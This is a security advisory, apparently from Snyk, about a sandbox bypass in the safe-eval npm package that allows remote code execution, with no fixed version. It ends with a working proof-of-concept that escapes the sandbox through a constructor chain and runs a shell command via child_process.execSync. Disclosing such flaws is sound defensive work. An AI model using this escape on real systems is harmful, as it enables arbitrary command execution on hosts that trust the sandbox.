Sandbox Bypass Affecting safe-eval package, versions *


0.0
high

Snyk CVSS

    Attack Complexity Low
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.48% (76th percentile)
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NVD
10 critical

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  • Snyk ID SNYK-JS-SAFEEVAL-3373064
  • published 10 Apr 2023
  • disclosed 26 Mar 2023
  • credit seongil-wi

How to fix?

There is no fixed version for safe-eval.

Overview

safe-eval is a Safer version of eval()

Affected versions of this package are vulnerable to Sandbox Bypass due to improper input sanitization. The vulnerability is derived from prototype pollution exploitation. Exploiting this vulnerability might result in remote code execution ("RCE").

Vulnerable functions:

__defineGetter__, stack(), toLocaleString(), propertyIsEnumerable.call(), valueOf().

PoC


const safe_eval = require('safe-eval')
code = `
import('test').catch((e)=>{})['constructor']['constructor']('return process')().mainModule.require('child_process').execSync('touch rce')
`
safe_eval(code)